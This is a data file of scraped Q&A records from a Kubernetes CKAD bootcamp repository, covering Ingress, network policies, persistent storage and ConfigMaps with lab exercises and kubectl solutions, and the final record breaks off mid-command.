{"id": "gh_a69516caa815", "question": "How to: Path types", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Each rule-path in an Ingress must have a [`pathType`](https://kubernetes.io/docs/concepts/services-networking/ingress/#path-types). Paths without a `pathType` will fail validation.\n\nThere are three supported path types:\n\n- `ImplementationSpecific` - matching is up to the _IngressClass_\n- `Exact` - case sensitive matching of exact URL path\n- `Prefix` - case sensitive matching of URL path prefix, split into elements by `/`, on element by element basis\n\n> Please read the official docs on [path matching examples](https://kubernetes.io/docs/concepts/services-networking/ingress/#examples) and [using wildcards](https://kubernetes.io/docs/concepts/services-networking/ingress/#hostname-wildcards)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754993"}
{"id": "gh_1d5adb69478e", "question": "How to: Ingress Class", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Ingresses can be implemented by different controllers, often with different configuration. Each Ingress should specify a class, a reference to an [_IngressClass_](https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-class) resource that contains additional configuration including the name of the controller that should implement the class.\n\nDepending on your ingress controller, you may be able to use parameters that you set cluster-wide, or just for one namespace.\n\n- cluster-wide _IngressClass_: this is the default scope configured if you set the `ingressclass.spec.parameters` field without setting `ingressclass.spec.parameters.scope`, or setting `ingressclass.spec.parameters.scope: Cluster`\n- namespace _IngressClass_: if you set the `ingressclass.spec.parameters` field and set `ingressclass.spec.parameters.scope: Namespace`\n\nA particular _IngressClass_ can be configured as default for a cluster by setting the `ingressclass.kubernetes.io/is-default-class` annotation to `true`\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: IngressClass\nmetadata:\n  annotations:\n    ingressclass.kubernetes.io/is-default-class: \"true\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754999"}
{"id": "gh_28309bab76bd", "question": "How to: view ingressclass object", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain ingressclass | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755006"}
{"id": "gh_e3e3e06c009b", "question": "How to: Lab 9.4. Multiple hosts ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Review the _IngressClass_ resource object\n2. List the Ingress classes created by the minikube ingress addon\n3. Create two Deployments `nginx` and `httpd`\n4. Expose both deployments as `Cluster-IP` on port 80\n5. Create an Ingress with the following:\n   - redirects requests for `nginx.yourchosenhostname.com` to the `nginx` Service\n   - redirects requests for `httpd.yourchosenhostname.com` to the `httpd` Service\n   - both rules should use a `Prefix` path type\n6. Review created resources\n7. Confirm Ingress _PathType_ and _IngressClass_\n8. Review the _IngressClass_ resource YAML form to determine why it was assigned by default\n9. Add an entry to `/etc/hosts` that maps the minikube Node IP to hostnames below:\n   - `$(minikube ip)  nginx.yourchosenhostname.com`\n   - `$(minikube ip)  httpd.yourchosenhostname.com`\n10. Verify you can access both deployments via their subdomains\n11. Delete created resources\nlab9.4 solution\n```sh\nkubectl explain ingressclass | less\nkubectl explain ingressclass --recursive | less\nkubectl create deploy nginx --image=nginx --dry-run=client -o yaml > lab9-4.yaml\necho --- >> lab9-4.yaml\nkubectl expose deploy nginx --port=80 --dry-run=client -o yaml >> lab9-4.yaml\necho --- >> lab9-4.yaml\nkubectl create deploy httpd --image=httpd --dry-run=client -o yaml >> lab9-4.yaml\necho --- >> lab9-4.yaml\nkubectl expose deploy httpd --port=80 --dry-run=client -o yaml >> lab9-4.yaml\necho --- >> lab9-4.yaml\nkubectl create ingress myingress --rule=\"nginx.yourchosenhostname.com/*=nginx:80\" --rule=\"httpd.yourchosenhostname.com/*=httpd:80\" --dry-run=client -o yaml > lab9-4.yaml\necho --- >> lab9-4.yaml\nkubectl apply -f lab9-4.yaml\nkubectl get ingress,all\nkubectl get ingress myingress -o yaml | less # `pathType: Prefix` and `ingressClassName: nginx`\nkubectl get ingressclass nginx -o yaml | less # annotation `ingressclass.kubernetes.io/is-default-class: \"true\"` makes this class the default\necho \"\n$(minikube ip)  nginx.yourchosenhostname.com\n$(minikube ip)  httpd.yourchosenhostname.com\n\" | sudo tee -a /etc/hosts\ncurl nginx.yourchosenhostname.com\ncurl httpd.yourchosenhostname.com\nkubectl delete -f lab9-4.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755016"}
{"id": "gh_41e3510976bb", "question": "How to: Network policies", "question_body": "About piouson/kubernetes-bootcamp", "answer": "There are two kinds of Pod isolation: isolation for egress (outbound), and isolation for ingress (inbound). By default, all ingress and egress traffic is allowed to and from pods in a namespace, until you have a [NetworkPolicy](https://kubernetes.io/docs/concepts/services-networking/network-policies/) in that namespace.\n\nNetwork policies are implemented by a [_network plugin_](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/). A _NetworkPolicy_ will have no effect if a _network plugin_ that supports _NetworkPolicy_ is not installed in the cluster.\n\nThere are [three different identifiers](https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors) that controls entities that a Pod can communicate with:\n\n- `podSelector`: selects pods within the _NetworkPolicy_ namespace allowed for ingress/egress using _selector_ matching (note: a pod cannot block itself)\n- `namespaceSelector`: selects all pods in specific namespaces allowed for ingress/egress using _selector_ matching\n- `ipBlock`: selects IP CIDR ranges (cluster-external IPs) allowed for ingress/egress (note: node traffic is always allowed - not for CKAD)\n\n```sh\nminikube stop\nminikube delete", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755023"}
{"id": "gh_2e25dab0cc19", "question": "How to: start minikube with calico plugin", "question_body": "About piouson/kubernetes-bootcamp", "answer": "minikube start --kubernetes-version=1.23.9 --cni=calico", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755027"}
{"id": "gh_3ca1bb9d3ae0", "question": "How to: create network policy", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl apply -f /path/to/networkpolicy/manifest/file", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755031"}
{"id": "gh_a03a1f66d274", "question": "How to: view more details of network policies `mynetpol`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl describe networkpolicy mynetpol\n```\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-netpol", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755036"}
{"id": "gh_f4a44b895ae7", "question": "How to: create default deny all ingress/egress traffic", "question_body": "About piouson/kubernetes-bootcamp", "answer": "spec:\n  podSelector: {}\n  policyTypes:\n  - Ingress # or Egress", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755040"}
{"id": "gh_654a3623ab5d", "question": "How to: Lab 9.5. Declare network policy", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You may follow the [official declare network policy walkthrough](https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/)\n\n> ⚠ A _Network Policy_ will have no effect without a _network provider with network policy support (e.g. Calico)_ \\\n> ⚠ Minikube Calico plugin might conflict with future labs, so remember to disable Calico after this lab \\\n> ℹ You can prepend `https://k8s.io/examples/` to example filepaths from the official docs to use the file locally\n\n1. Create a Kubernetes cluster in minikube with Calico enabled\n   - delete existing cluster, or create an additional cluster, if Calico is not enabled\n2. Confirm Calico is up and running\n3. Create a Deployment called `webapp` using image `httpd`\n4. Expose the Deployment on port 80\n5. Review created resources and confirm pods running\n6. Create a busybox Pod and connect an interactive shell\n7. Run command in the Pod container `wget --spider --timeout=1 webapp`\n8. Limit access to the Service so that only Pods with label `tier=frontend` have access - see official manifest example `service/networking/nginx-policy.yaml`\n9. View more details of the _NetworkPolicy_ created\n10. Create a busybox Pod and connect an interactive shell\n11. Run command in the Pod container `wget --spider --timeout=1 webapp`\n12. Create another busybox Pod with label `tier=frontend` and connect an interactive shell\n13. Run command in the Pod container `wget --spider --timeout=1 webapp`\n14. Delete created resources\n15. Revert to a cluster without Calico\nlab9.5 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755055"}
{"id": "gh_da521a633ce7", "question": "How to: Task - Ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The application is meant to be accessible at `ckad-bootcamp.local`. Please debug and resolve the issue without creating any new resource.\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"kind\":\"List\",\"items\":[{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"bat\"}},{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"appid\":\"webapp\"},\"name\":\"webapp\",\"namespace\":\"bat\"},\"spec\":{\"replicas\":2,\"selector\":{\"matchLabels\":{\"appid\":\"webapp\"}},\"template\":{\"metadata\":{\"labels\":{\"appid\":\"webapp\"}},\"spec\":{\"containers\":[{\"image\":\"gcr.io/google-samples/node-hello:1.0\",\"name\":\"nginx\"}]}}}},{\"apiVersion\":\"v1\",\"kind\":\"Service\",\"metadata\":{\"labels\":{\"appid\":\"webapp\"},\"name\":\"webapp\",\"namespace\":\"bat\"},\"spec\":{\"ports\":[{\"port\":80,\"protocol\":\"TCP\",\"targetPort\":80}],\"selector\":{\"app\":\"webapp\"}}},{\"kind\":\"Ingress\",\"apiVersion\":\"networking.k8s.io/v1\",\"metadata\":{\"name\":\"webapp\",\"namespace\":\"bat\"},\"spec\":{\"ingressClassName\":\"ngnx\",\"rules\":[{\"http\":{\"paths\":[{\"path\":\"/\",\"pathType\":\"Prefix\",\"backend\":{\"service\":{\"name\":\"webapp\",\"port\":{\"number\":80}}}}]}}]}}]}' | kubectl apply -f - >/dev/null; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete ns bat\n  ```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755098"}
{"id": "gh_19affa769f43", "question": "How to: Task - Network policy", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Given several Pods in Namespaces `pup` and `cat`, create network policies as follows:\n- Pods in the same Namespace can communicate together\n- `webapp` Pod in the `pup` Namespace can communicate with `microservice` Pod in the `cat` Namespace\n- DNS resolution on UDP/TCP port 53 is allowed for all Pods in all Namespaces\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"kind\":\"List\",\"items\":[{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"pup\"}},{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"cat\"}},{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"server\":\"frontend\"},\"name\":\"webapp\",\"namespace\":\"pup\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.22-alpine\",\"name\":\"nginx\"}],\"dnsPolicy\":\"ClusterFirst\",\"restartPolicy\":\"Always\"}},{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"server\":\"backend\"},\"name\":\"microservice\",\"namespace\":\"cat\"},\"spec\":{\"containers\":[{\"image\":\"node:16-alpine\",\"name\":\"nodejs\",\"args\":[\"sleep\",\"7200\"]}],\"dnsPolicy\":\"ClusterFirst\",\"restartPolicy\":\"Always\"}}]}' | kubectl apply -f - >/dev/null; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete ns cat pup\n  ```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755106"}
{"id": "gh_823d2d6e3d1a", "question": "How to: 10. Storage", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[PersistentVolume (PV)](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#introduction) is a piece of storage in the cluster that has been provisioned by an administrator or dynamically provisioned using Storage Classes, with a lifecycle independent of any individual Pod that uses the PV.\n\nPersistentVolumeClaim (PVC) is a request for storage by a user. It is similar to a Pod. Pods consume node resources and PVCs consume PV resources. Claims can request specific size and [access modes (ReadWriteOnce, ReadOnlyMany, ReadWriteMany, or ReadWriteOncePod)](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes).\n\n- Pods connect to the PVC, and a PVC connects to the PV, both in a 1-1 relationship (only one PVC can connect to a PV)\n- PVC can be created from an existing PVC\n- PVC will remain in `STATUS=Pending` until it finds and connects to a matching PV and thus **`STATUS=Bound`**\n- PV supports a number of [raw block volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#raw-block-volume-support)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755113"}
{"id": "gh_3ed1d91083ba", "question": "How to: Access modes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "- ReadWriteOnce: volume can be mounted as read-write by a single node - allows multiple pods running on the node access the volume\n- ReadOnlyMany: volume can be mounted as read-only by many nodes\n- ReadWriteMany: volume can be mounted as read-write by many nodes\n- ReadWriteOncePod: volume can be mounted as read-write by a single Pod", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755118"}
{"id": "gh_591d70563385", "question": "How to: PV and PVC attributes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "| PV attributes    | PVC attributes   |\n| ---------------- | ---------------- |\n| capacity         | resources        |\n| volume modes     | volume modes     |\n| access modes     | access modes     |\n| storageClassName | storageClassName |\n| mount options    | selector         |\n| reclaim policy   |                  |\n| node affinity    |                  |\n| phase            |                  |", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755123"}
{"id": "gh_1951e47bf083", "question": "How to: Storage Class", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A [StorageClass](https://kubernetes.io/docs/concepts/storage/storage-classes/) provides a way for administrators to describe the \"classes\" of storage they offer. It enables automatic PV provisioning to meet PVC requests, thus removing the need to manually create PVs. StorageClass must have a specified **provisioner** that determines what volume plugin is used for provisioning PVs.\n\n- A PV with a specified `storageClassName` can only be bound to PVCs that request that `storageClassName`\n- A PV with `storageClassName` attribute not set is intepreted as _a PV with no class_, and can only be bound to PVCs that request a PV with no class.\n- A PVC with `storageClassName=\"\"` (empty string) is intepreted as _a PVC requesting a PV with no class_.\n- A PVC with `storageClassName` attribute not set is not quite the same and behaves different whether [the `DefaultStorageClass` admission plugin is enabled](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#defaultstorageclass)\n  - if the admission plugin is enabled, and a default StorageClass specified, all PVCs with no `storageClassName` can be bound to PVs of that default\n  - if a default StorageClass is not specified, PVC creation is treated as if the admission plugin is disabled\n  - if the admission plugin is disabled, all PVCs that have no `storageClassName` can only be bound to PVs with no class\n\n> If a PVC doesn't find a PV with matching access modes and storage, StorageClass may dynamically create a matching PV\n\n> `hostPath` volumes is created on the host, in minikube use the `minikube ssh` command to access the host (requires starting the cluster with `--driver=docker`)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755131"}
{"id": "gh_e66762a61dc1", "question": "How to: view more details of a PVC", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl decribe {pvc|pv|storageclass} $NAME\n```\n\n1. Create a PV with 3Gi capacity using official docs `pods/storage/pv-volume.yaml` manifest file as base\n2. Create a PVC requesting 1Gi capacity using official docs `pods/storage/pv-claim.yaml` manifest file as base\n3. List created resources\n   - What `STATUS` and `VOLUME` does the PVC have?\n   - Does the PVC use the existing PV and why or why not?\n4. What happens when a PV and PVC are created without specifying a `StorageClass`?\n   - repeat steps 1-3 after removing `storageClassName` from both YAML files\n   - what was the results?\nlab 10.1 solution\n```sh\nwget -q https://k8s.io/examples/pods/storage/pv-volume.yaml\nwget -q https://k8s.io/examples/pods/storage/pv-claim.yaml\nnano pv-volume.yaml\nnano pv-claim.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755137"}
{"id": "gh_d8e111ce3bc9", "question": "How to: pv-volume.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: PersistentVolume\nspec:\n  storageClassName: manual\n  capacity:\n    storage: 3Gi", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755143"}
{"id": "gh_d5918db327d1", "question": "How to: pv-claim.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: PersistentVolumeClaim\nspec:\n  storageClassName: manual\n  resources:\n    requests:\n      storage: 1Gi", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755148"}
{"id": "gh_6539a25ca232", "question": "How to: Lab 10.2. Configuring Pods storage with PVs and PVCs", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The benefit of configuring Pods with PVCs is to decouple site-specific details.\n\nYou can follow the [official _configure a Pod to use a PersistentVolume for storage_ docs](https://kubernetes.io/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-persistentvolume) to complete this lab.\n\n1. Create a `/mnt/data/index.html` file on cluster host `minikube ssh` with some message, e.g. \"Hello, World!\"\n2. Create a PV with the following parameters, see `https://k8s.io/examples/pods/storage/pv-volume.yaml`\n   - uses `hostPath` storage\n   - allows multiple pods in the Node access the storage\n3. Create a Pod running a webserver to consume the storage, see `https://k8s.io/examples/pods/storage/pv-pod.yaml`\n   - uses PVC, see `https://k8s.io/examples/pods/storage/pv-claim.yaml`\n   - image is `httpd` and default documentroot is `/usr/local/apache2/htdocs` or `/var/www/html`\n4. Verify all resources created `pod,pv,pvc,storageclass`, and also review each detailed information\n   - review `STATUS` for PV and PVC\n   - did the PVC in [3] bind to the PV in [2], why or why not?\n5. Connect to the Pod via an interactive shell and confirm you can view the contents of cluster host file `curl localhost`\n6. Clean up all resources created\nlab 10.2 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755158"}
{"id": "gh_57486ade9ce1", "question": "How to: node terminal", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo mkdir /mnt/data\nsudo sh -c \"echo 'Hello from Kubernetes storage' > /mnt/data/index.html\"\ncat /mnt/data/index.html\nexit", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755163"}
{"id": "gh_7b25105faad7", "question": "How to: Task - Persistent volumes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In the `kid` Namespace (create if required), create a Deployment `webapp` with two replicas, running the `nginx:1.22-alpine` image, that serves an `index.html` HTML document (see below) from the Cluster Node's `/mnt/data` directory. The HTML document should be made available via a Persistent Volume with 5Gi storage and no class name specified. The Deployment should use Persistent Volume claim with 2Gi storage.\n\n```html\nK8s Bootcamp (CKAD)\nWelcome to K8s Bootcamp!\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755178"}
{"id": "gh_34ab8fa8f680", "question": "How to: Lab 11.1. Deployment variables", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a `db` Deployment using `mysql` image\n2. Troubleshoot and fix any deployment issues to get a running `STATUS`\n3. View more details of the Deployment and note where env-var is specified\n4. Review the Deployment in YAML form and note how the env-var is specified\n5. Create a `db` Pod with an appropriate environment variable specified\n6. Confirm Pod running as expected\n7. View more details of the Pod and note where env-var is specified\n8. Review the Pod in YAML form and note how the env-var is specified\n9. Delete created resources\nlab11.1 solution\n```sh\nkubectl create deploy db --image=mysql\nkubectl get po --watch # status=containercreating->error->crashloopbackoff->error->etc, ctrl+c to quit\nkubectl describe po $POD_NAME # not enough info to find issue, so check logs\nkubectl logs $POD_NAME|less # found issue, must specify one of `MYSQL_ROOT_PASSWORD|MYSQL_ALLOW_EMPTY_PASSWORD|MYSQL_RANDOM_ROOT_PASSWORD`\nkubectl set env deploy db MYSQL_ROOT_PASSWORD=mysecret\nkubectl get po # status=running\nkubectl describe deploy db # review deployment env-var format\nkubectl get deploy db -oyaml|less # review deployment env-var format\nkubectl run db --image=mysql --env=MYSQL_ROOT_PASSWORD=mypwd\nkubectl get po # status=running\nkubectl describe deploy db # review pod env-var format\nkubectl describe deploy,po db | grep -iEA15 \"pod template:|containers:\" | less # see `grep -h`\nkubectl get po db -oyaml|less # review pod env-var format\nkubectl delete deploy,po db\n```\n> Note that you can [use Pod fields as env-vars](https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/#use-pod-fields-as-values-for-environment-variables), as well as [use container fields as env-vars](https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/#use-container-fields-as-values-for-environment-variables)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755189"}
{"id": "gh_9686e6d6a071", "question": "How to: ConfigMaps", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[ConfigMaps](https://kubernetes.io/docs/concepts/configuration/configmap/) are used to decouple configuration data from application code. The configuration data may be variables, files or command-line args.\n\n- ConfigMaps should be created before creating an application that relies on it\n- A ConfigMap created from a directory includes all the files in that directory and the default behaviour is to use the filenames as keys\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755194"}
{"id": "gh_a03a4a74277c", "question": "How to: create configmap `mycm` from file or directory, see `kubectl create cm -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create configmap mycm --from-file=path/to/file/or/directory", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755198"}
{"id": "gh_736ace93cb49", "question": "How to: create configmap from literal values", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create configmap mycm --from-literal=KEY1=value1 --from-literal=KEY2=value2", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755210"}
{"id": "gh_76d473aaa87e", "question": "How to: display details of configmap `mycm`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl describe cm mycm\nkubectl get cm mycm -o yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755214"}
{"id": "gh_6b986ba72fe1", "question": "How to: use specific keys from configmap with mutliple env-vars, see `kubectl set env deploy -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl set env deploy web --keys=KEY1,KEY2 --from=configmap/mycm", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755218"}
{"id": "gh_a2b3ef7e8ae0", "question": "How to: remove env-var KEY1 from deployment web", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl set env deploy web KEY1-\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755222"}
{"id": "gh_5c2fa87a2271", "question": "How to: Lab 11.2. ConfigMaps as environment variables", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a `file.env` file with the following content:\n   ```sh\n   MYSQL_ROOT_PASSWORD=pwd\n   MYSQL_ALLOW_EMPTY_PASSWORD=true\n   ```\n2. Create a File ConfigMap `mycm-file` from the file using `--from-file` option\n3. Create an Env-Var ConfigMap `mycm-env` from the file using `--from-env-file` option\n4. Compare details of both ConfigMaps, what can you find?\n5. Compare the YAML form of both ConfigMaps, what can you find?\n6. Create manifest files for the two Deployments with `mysql` image using the ConfigMaps as env-vars:\n   - a Deployment called `web-file` for ConfigMap `mycm-file`\n   - a Deployment called `web-env` for ConfigMap `mycm-env`\n7. Review both manifest files to confirm if env-vars configured correctly, what did you find?\n   - any Deployment with correctly configured env-var?\n   - which ConfigMap was used for the working Deployment?\n   - Are you aware of the issue here?\n8. Create a Deployment with two env-vars from the working ConfigMap\n9. Connect a shell to a Pod from the Deployment and run `printenv` to confirm env-vars\n10. Create a Pod with env-vars from the working ConfigMap\n    - how will you set the env-vars for the Pod?\n11. Confirm Pod running or troubleshoot/fix any issues\n12. Connect a shell to the new Pod and run `printenv` to confirm env-vars\n13. Delete all created resources\nlab11.2 solution\n```sh\necho \"MYSQL_ROOT_PASSWORD=mypwd\nMYSQL_ALLOW_EMPTY_PASSWORD=true\" > file.env\nkubectl create cm mycm-file --keys=MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD --from-file=file.env\nkubectl create cm mycm-env --keys=MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD --from-env-file=file.env\nkubectl describe cm mycm-file mycm-env |less # mycm-file has one filename key while mycm-env has two env-var keys\nkubectl get cm mycm-file mycm-env -oyaml|less\nkubectl create deploy web-file --image=mysql --dry-run=client -oyaml > webfile.yml\nkubectl apply -f webfile.yml # need an existing deployment to generate yaml for env-vars\nkubectl set env deploy web-file --keys=MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD --from=configmap/mycm-file --dry-run=client -oyaml\nkubectl create deploy web-env --image=mysql --dry-run=client -oyaml | less # no output = keys not found in configmap\nkubectl create deploy web-env --image=mysql --dry-run=client -oyaml > webenv.yml\nkubectl apply -f webenv.yml # need an existing deployment to generate yaml for env-vars\nkubectl set env deploy web-env 